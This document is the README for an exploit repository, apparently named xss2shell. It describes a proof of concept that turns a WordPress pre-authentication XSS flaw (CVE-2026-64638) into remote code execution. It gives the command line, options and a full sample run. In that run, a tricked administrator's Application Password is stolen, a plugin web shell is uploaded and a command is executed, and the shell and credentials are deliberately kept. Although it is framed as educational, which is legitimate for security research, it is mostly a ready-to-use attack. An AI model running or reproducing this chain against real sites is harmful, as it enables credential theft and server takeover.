wordsec/xss2shellWordpress Pre-auth XSS to RCE exploit PoC (xss2shell & CVE-2026-64638)
XSS2Shell is an educational proof of concept for CVE-2026-64638, demonstrating the impact of a pre-authentication XSS issue in vulnerable WordPress installations. With an administrator's explicit participation, the PoC captures a WordPress Application Password, publishes a temporary page, uploads a test plugin, and checks whether the resulting shell endpoint can execute a command.
Technical background: WordPress Pre-Auth XSS to RCE: CVE-2026-64638
Education and authorized testing only. Run this tool only against WordPress sites you own or have written permission to assess. Do not use it to target third-party administrators or production systems.
python3 xss2shell_poc.py -t http://wordpress.research.local --lhost 192.168.1.227 --lport 8080 -c "whoami"
| Option | Required | Description |
|---|
-t, --target | Yes | WordPress base URL, including http:// or https:// |
-c, --command | Yes | Command to run after the shell is available |
--lhost | No | Listener IP to bind and advertise; defaults to the detected LAN IP |
--lport | No | Listener port; 0 selects a random available port |
--keep | No | Keep published artifacts instead of deleting the temporary page |
The target URL is normalized automatically, so a trailing slash is optional.
/wp-login.php is reachable and looks like a WordPress
login page.shell.php and runs the requested command.The listener must be reachable by the administrator's browser. NAT, firewall, proxy, popup-blocking, and mixed-content rules can prevent the browser flow from completing.
__ __ _ _____
\ \ / / | |/ ____|
\ \ /\ / /__ _ __ __| | (___ ___ ___
\ \/ \/ / _ \| '__/ _` |\___ \ / _ \/ __|
\ /\ / (_) | | | (_| |____) | __/ (__
\/ \/ \___/|_| \__,_|_____/ \___|\___|
xss2shell & CVE-2026-64638 | https://wordsec.net/ - Education Purpose Only
============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
-> http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
-> http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php
============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved
[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.
Successful runs save the captured Application Password in
xss2shell_creds.json for reuse on later runs. The temporary published page is
deleted automatically after the command unless --keep is used.
The test plugin, shell endpoint, Application Password, and saved credentials are
intentionally preserved by the current PoC. Remove them manually from the test
site after an authorized assessment, and delete xss2shell_creds.json locally.
Treat the credentials file as sensitive and never commit it to version control.
Use the license included in this repository.
Made by WordSec